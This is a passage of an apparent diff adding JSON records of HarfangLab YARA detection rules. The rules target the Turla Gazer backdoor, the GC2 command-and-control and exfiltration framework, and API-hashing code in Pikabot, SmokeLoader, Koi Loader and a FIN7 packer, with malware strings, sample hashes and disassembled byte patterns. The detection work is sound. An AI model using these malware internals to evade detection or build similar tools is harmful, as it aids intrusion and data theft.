+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583727Z",
+  "creation_date": "2026-03-23T11:46:25.583729Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583734Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0168/\nhttps://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+  ],
+  "name": "gazer_loader.yar",
+  "content": "import \"pe\"\n\nrule gazer_loader {\n    meta:\n        title = \"Gazer Loader\"\n        id = \"806bc6c6-ef6c-4b88-bc1e-9024a1b9d002\"\n        description = \"Detects the Gazer loader, a Turla malware also known as WhiteBear used by the group since at least 2016.\\nGazer is a backdoor written in C++ which is based on three components: a loader, an orchestrator, and a communication module. It uses custom 3DES and RSA encryption libraries to encrypt the data sent to the C&C server.\\nThe tasks received from the C&C server can be executed either by the infected machine or by another machine on the network.\\nIt is recommended to investigate network connections for potential C2 activity, as well as to quarantine detected files.\"\n        references = \"https://attack.mitre.org/software/S0168/\\nhttps://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf\"\n        date = \"2023-01-19\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.003;attack.t1027;attack.t1553.002;attack.discovery;attack.t1033;attack.s0168\"\n        classification = \"Windows.Malware.Gazer\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a65bc4adbd61c098acf40ef81dc8b6b10269af0d9ebbdc18b48439df76c18cb3\n        // 473aa2c3ace12abe8a54a088a08e00b7bd71bd66cda16673c308b903c796bec0\n        // d0b169d2e753191a5c366a863d216bc5a9eb5e173f0bd5a61f126c4fd16484ac\n        // 4013d3c221c6924e8c525aac7ed0402bd5349a28dcbc20bc1ff6bd09079faacf\n\n        $s1 = \"KernelInjector::KernelInjector\" fullword ascii\n        $s2 = \"KernelInjector::MapLibrary\" fullword ascii\n        $s3 = \"KernelInjector::KernelInjector\" fullword wide\n        $s4 = \"KernelInjector::LoadDllToProcess\" fullword wide\n        $s5 = \"{531511FA-190D-5D85-8A4A-279F2F592CC7}\" fullword wide\n        $s6 = \"\\\\\\\\.\\\\pipe\\\\Winsock2\\\\CatalogChangeListener-%02x%02x-%01x\" fullword wide\n\n        $resource_201 = {00000000220000006500780070006C006F007200650072002E00650078006500} // explorer.exe\n        $resource_202 = {4D5A}\n\n    condition:\n        3 of ($s*) or (\n            pe.number_of_resources == 3 and\n            pe.resources[0].length == 128 and\n            $resource_201 at pe.resources[0].offset and\n            $resource_202 at pe.resources[1].offset\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gazer_loader"
+  ],
+  "rule_creation_date": "2023-01-19",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Gazer"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002",
+    "attack.t1055.003",
+    "attack.t1027",
+    "attack.t1033"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gazer_orchestrator_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569336Z",
+  "creation_date": "2026-03-23T11:46:25.569338Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569344Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0168/\nhttps://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+  ],
+  "name": "gazer_orchestrator.yar",
+  "content": "import \"pe\"\n\nrule gazer_orchestrator {\n    meta:\n        title = \"Gazer Orchestrator\"\n        id = \"d656a9fd-d46f-4e95-82a3-5979267b7940\"\n        description = \"Detects the Gazer orchestrator, a Turla malware also known as WhiteBear used by the group since at least 2016.\\nGazer is a backdoor written in C++ which is based on three components: a loader, an orchestrator, and a communication module. It uses custom 3DES and RSA encryption libraries to encrypt the data sent to the C&C server.\\nThe tasks received from the C&C server can be executed either by the infected machine or by another machine on the network.\\nIt is recommended to investigate network connections for potential C2 activity, as well as to quarantine detected files.\"\n        references = \"https://attack.mitre.org/software/S0168/\\nhttps://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf\"\n        date = \"2023-01-19\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.003;attack.t1027;attack.t1553.002;attack.discovery;attack.t1033;attack.s0168\"\n        classification = \"Windows.Malware.Gazer\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 9747f2d56b108d80cc4ae05ca6c4809a956c08b40e35c0e7dbf611aca80be9dd\n        // 09da9e80e4554be5c2734ced0e70a6a08eb9ddacb8c1d9155c44ad8f0cbad8d2\n        // bc8869b55c5d6c9afc487ceb0e815577043875f4f8a3e0d84b8b8ed33d0b56e1\n\n        $s1 = \"Crypto::EncryptRSA\" fullword wide\n        $s2 = \"Crypto::CompressBuffer\" fullword wide\n        $s3 = \"CMC_GIVE_SETTINGS\" fullword wide\n        $s4 = \"CMC_TAKE_TASK\" fullword wide\n        $s5 = \"LTNamedPipe::Receive\" fullword wide\n        $s6 = \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\ScreenSaver\" fullword wide\n        $s7 = \"DLL_PROCESS_ATTACH\" fullword wide\n        $s8 = \"EncryptDES Error\" fullword wide\n\n        $l1 = \"KernelInjector::KernelInjector\" fullword ascii\n        $l2 = \"KernelInjector::KernelInjector\" fullword wide\n\n    condition:\n        4 of ($s*) and (\n            pe.number_of_resources > 10 or\n            not 1 of ($l*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gazer_orchestrator"
+  ],
+  "rule_creation_date": "2023-01-19",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Gazer"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002",
+    "attack.t1055.003",
+    "attack.t1027",
+    "attack.t1033"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gc2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586908Z",
+  "creation_date": "2026-03-23T11:46:25.586910Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586916Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/looCiprian/GC2-sheet/"
+  ],
+  "name": "gc2.yar",
+  "content": "rule gc2_strings {\n    meta:\n        title = \"GC2 Generic Strings\"\n        id = \"6cdcb8ae-dba6-44a2-827a-6d64a4caf077\"\n        description = \"Detects the GC2 C2 framework which uses Google Sheets/Drive and Microsoft SharePoint/List for command execution and file exfiltration.\\nGC2 is a Go-based framework that enables attackers to execute commands on compromised machines and transfer files using legitimate cloud services.\\nIt typically communicates through specific configuration strings related to Google and Microsoft services.\"\n        references = \"https://github.com/looCiprian/GC2-sheet/\"\n        date = \"2024-10-11\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1071.001;attack.t1102.002;attack.command_and_control;attack.exfiltration;attack.t1567.002\"\n        classification = \"Framework.GC2\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $static_str_1 = \"GC2-sheet/internal/C2\" ascii\n        $static_str_2 = \"GC2-sheet/cmd\" ascii\n        $static_str_3 = \"CommandService:\" ascii\n        $static_str_4 = \"FileSystemService:\" ascii\n\n        $google_cfg_str_1 = \"GoogleServiceAccountKey:\" ascii\n        $google_cfg_str_2 = \"GoogleSheetID:\" ascii\n        $google_cfg_str_3 = \"GoogleDriveID:\" ascii\n\n        $ms_cfg_str_1 = \"MicrosoftTenantID:\" ascii\n        $ms_cfg_str_2 = \"MicrosoftClientID:\" ascii\n        $ms_cfg_str_3 = \"MicrosoftClientSecret:\" ascii\n        $ms_cfg_str_4 = \"MicrosoftSiteID:\" ascii\n\n    condition:\n        all of ($static_str_*) and (all of ($google_cfg_str_*) or all of ($ms_cfg_str_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gc2_strings"
+  ],
+  "rule_creation_date": "2024-10-11",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Framework.GC2"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1567.002",
+    "attack.t1102.002",
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_api_hashing_02c89791ecf7_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585691Z",
+  "creation_date": "2026-03-23T11:46:25.585693Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585699Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\nhttps://attack.mitre.org/techniques/T1027/007/"
+  ],
+  "name": "generic_api_hashing_02c89791ecf7.yar",
+  "content": "rule generic_api_hashing_02c89791ecf7 {\n    meta:\n        title = \"Generic API Hashing (02c89791ecf7)\"\n        id = \"5308c9e6-d9b3-45b6-8acc-02c89791ecf7\"\n        description = \"Detects API hashing functions seen in Pikabot malware.\\nPikabot is a known malware family that employs API hashing to dynamically resolve functions, allowing it to avoid detection and analysis. This technique involves hashing API function names at runtime, which helps the malware avoid static detection mechanisms and makes it harder to analyze its behavior.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\\nhttps://attack.mitre.org/techniques/T1027/007/\"\n        date = \"2024-02-23\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007\"\n        classification = \"Windows.Generic.ApiHashing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1545a44e666ca8f1a3a77012677665287a44898a9b2240838c40474988b0fc29\n        // ff7c3ebcd8cc98132ea7e06e72c73e0e5e60fc9b05c235b3ac105c9d83c64c97\n        // fb13f1443013b5a4108b79253487506b9fbf572cf9c7fb1dc8c098da71545edc\n\n        $hashing = {\n            8B 45 08                       // mov     eax, [ebp+arg_0]\n            0F BE 08                       // movsx   ecx, byte ptr [eax]\n            85 C9                          // test    ecx, ecx\n            74 22                          // jz      short loc_51A466\n            8B 55 08                       // mov     edx, [ebp+arg_0]\n            0F B6 02                       // movzx   eax, byte ptr [edx]\n            83 C8 60                       // or      eax, 60h\n            03 45 FC                       // add     eax, [ebp+var_4]\n            89 45 FC                       // mov     [ebp+var_4], eax\n            8B 4D 08                       // mov     ecx, [ebp+arg_0]\n            83 C1 01                       // add     ecx, 1\n            89 4D 08                       // mov     [ebp+arg_0], ecx\n            8B 55 FC                       // mov     edx, [ebp+var_4]\n            D1 E2                          // shl     edx, 1\n            89 55 FC                       // mov     [ebp+var_4], edx\n            EB D4                          // jmp     short loc_51A43A\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_api_hashing_02c89791ecf7"
+  ],
+  "rule_creation_date": "2024-02-23",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ApiHashing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_api_hashing_41fb0034c288_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585649Z",
+  "creation_date": "2026-03-23T11:46:25.585652Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585661Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\nhttps://attack.mitre.org/techniques/T1027/007/"
+  ],
+  "name": "generic_api_hashing_41fb0034c288.yar",
+  "content": "rule generic_api_hashing_41fb0034c288 {\n    meta:\n        title = \"Generic API Hashing (41fb0034c288)\"\n        id = \"9be73ed3-6cf7-4983-b6c6-41fb0034c288\"\n        description = \"Detects API hashing functions seen in SmokeLoader malware.\\nSmokeLoader is a type of malware that employs API hashing to dynamically resolve function calls. This technique allows the malware to avoid static analysis by using hashes to locate API functions, making it harder to identify and analyze its malicious behavior.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\\nhttps://attack.mitre.org/techniques/T1027/007/\"\n        date = \"2023-10-10\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007\"\n        classification = \"Windows.Generic.ApiHashing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $push_hash_1 = {\n            68 86 57 0D 00                // push    0D5786h\n            68 88 4E 0D 00                // push    0D4E88h ; kernel32.dll hash\n            E8 ?? ?? ?? ??                // call    near ptr unk_7CF1F0\n        }\n\n        $push_hash_2 = {\n            68 FA 8B 34 00                // push    348BFAh\n            68 88 4E 0D 00                // push    0D4E88h\n            E8 ?? ?? ?? ??                // call    near ptr unk_A58E3B\n        }\n\n        $hash_api_fn = {\n            8A 10                         // mov     dl, [eax]\n            80 CA 60                      // or      dl, 60h\n            03 DA                         // add     ebx, edx\n            D1 E3                         // shl     ebx, 1\n            03 45 10                      // add     eax, [ebp+arg_8]\n            8A 08                         // mov     cl, [eax]\n            84 C9                         // test    cl, cl\n        }\n\n        $qihoo_360_0 = \"C:\\\\Program Files (x86)\\\\360\\\\Total Security\\\\safemon\\\\QHActiveDefense.exe\" ascii\n        $qihoo_360_1 = \"X-360-Cloud-Security-Desc\" ascii\n        $qihoo_360_2 = \"AVC360UtilExportFuncs\" ascii\n\n    condition:\n        (1 of ($push_hash_*) and $hash_api_fn) and not 1 of ($qihoo_360_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_api_hashing_41fb0034c288"
+  ],
+  "rule_creation_date": "2023-10-10",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ApiHashing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_api_hashing_923bc731ca99_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585866Z",
+  "creation_date": "2026-03-23T11:46:25.585882Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585889Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\nhttps://attack.mitre.org/techniques/T1027/007/"
+  ],
+  "name": "generic_api_hashing_923bc731ca99.yar",
+  "content": "rule generic_api_hashing_923bc731ca99 {\n    meta:\n        title = \"Generic API Hashing (923bc731ca99)\"\n        id = \"4d3b6d49-4aee-4255-a4b0-923bc731ca99\"\n        description = \"Detects API hashing functions seen in the Koi Loader malware.\\nAPI hashing is a technique used to dynamically resolve functions called by the malware, allowing it to hide malicious activities and evade defensive analysis. This technique helps the malware avoid static detection by using dynamic function resolution.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\\nhttps://attack.mitre.org/techniques/T1027/007/\"\n        date = \"2024-05-23\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007\"\n        classification = \"Windows.Generic.ApiHashing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ebff8e5324010b0572b971205707faa234154416533f68a4091d4b5b7cf0f4b7\n        // 2fc9bd91753ff3334ef7f9861dc1ae79cf5915d79fa50f7104cbb3262b7037da\n\n        $getprocaddress = {\n            89 4D E0                                      // mov     [ebp+var_20], ecx\n            8B 55 F8                                      // mov     edx, [ebp+var_8]\n            8B 45 08                                      // mov     eax, [ebp+arg_0]\n            03 42 24                                      // add     eax, [edx+24h]\n            89 45 E4                                      // mov     [ebp+var_1C], eax\n            C7 45 FC 00 00 00 00                          // mov     [ebp+var_4], 0\n            EB 09                                         // jmp     short loc_4010C3\n\n                                        // loc_4010BA:\n            8B 4D FC                                      // mov     ecx, [ebp+var_4]\n            83 C1 01                                      // add     ecx, 1\n            89 4D FC                                      // mov     [ebp+var_4], ecx\n\n                                        // loc_4010C3:\n            8B 55 F8                                      // mov     edx, [ebp+var_8]\n            8B 45 FC                                      // mov     eax, [ebp+var_4]\n            3B 42 18                                      // cmp     eax, [edx+18h]\n            73 ??                                         // jnb     short loc_401105\n            8B 4D FC                                      // mov     ecx, [ebp+var_4]\n            8B 55 EC                                      // mov     edx, [ebp+var_14]\n            8B 45 08                                      // mov     eax, [ebp+arg_0]\n            03 04 8A                                      // add     eax, [edx+ecx*4]\n            89 45 E8                                      // mov     [ebp+var_18], eax\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_api_hashing_923bc731ca99"
+  ],
+  "rule_creation_date": "2024-05-23",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ApiHashing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_api_hashing_a4eaf6faea91_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585528Z",
+  "creation_date": "2026-03-23T11:46:25.585530Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585536Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\nhttps://attack.mitre.org/techniques/T1027/007/"
+  ],
+  "name": "generic_api_hashing_a4eaf6faea91.yar",
+  "content": "rule generic_api_hashing_a4eaf6faea91 {\n    meta:\n        title = \"Generic API Hashing (a4eaf6faea91)\"\n        id = \"184cb4b1-142f-45f5-ae59-a4eaf6faea91\"\n        description = \"Detects API hashing/encryption functions seen in FIN7 packer.\\nAPI hashing is a technique used by malware to dynamically resolve API function addresses at runtime, which helps in evading static analysis and anti-virus detection. This behavior is commonly associated with the FIN7 malware group, which uses such techniques to enhance the obfuscation of its malicious activities.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\\nhttps://attack.mitre.org/techniques/T1027/007/\"\n        date = \"2024-08-06\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007\"\n        classification = \"Windows.Generic.ApiHashing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $hashing = {\n            0F B? [1-2]      // movzx   eax, [rsp+128h+size_string]\n            39 [1-3]         // cmp     [rsp+128h+var_124], eax\n            73 ??            // jnb     short loc_140001CC9\n            8B [1-3]         // mov     eax, [rsp+128h+var_124]\n            83 ?? 05         // add     eax, 5\n            8B ??            // mov     eax, eax\n            4? 8B [1-6]      // mov     rcx, [rsp+128h+arg_0]\n            0F B? [1-2]      // movsx   eax, byte ptr [rcx+rax]\n            85 ??            // test    eax, eax\n            74 ??            // jz      short loc_140001CB0\n            0f B? [1-3]      // movzx   eax, [rsp+128h+key]\n            8B [1-3]         // mov     ecx, [rsp+128h+var_124]\n            83 ?? 05         // add     ecx, 5\n            8B ??            // mov     ecx, ecx\n            4? 8B [1-6]      // mov     rdx, [rsp+128h+arg_0]\n            0F B? [1-2]      // movsx   ecx, byte ptr [rdx+rcx]\n            33 ??            // xor     eax, ecx\n            2B [1-3]         // sub     eax, [rsp+128h+var_124]\n            FF ??            // dec     eax\n            8B [1-3]         // mov     ecx, [rsp+128h+var_124]\n            88 [1-3]         // mov     [rsp+rcx+128h+decrypted_string], al\n            EB               // jmp     short loc_140001CC7\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_api_hashing_a4eaf6faea91"
+  ],
+  "rule_creation_date": "2024-08-06",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ApiHashing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_dotnet_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586738Z",
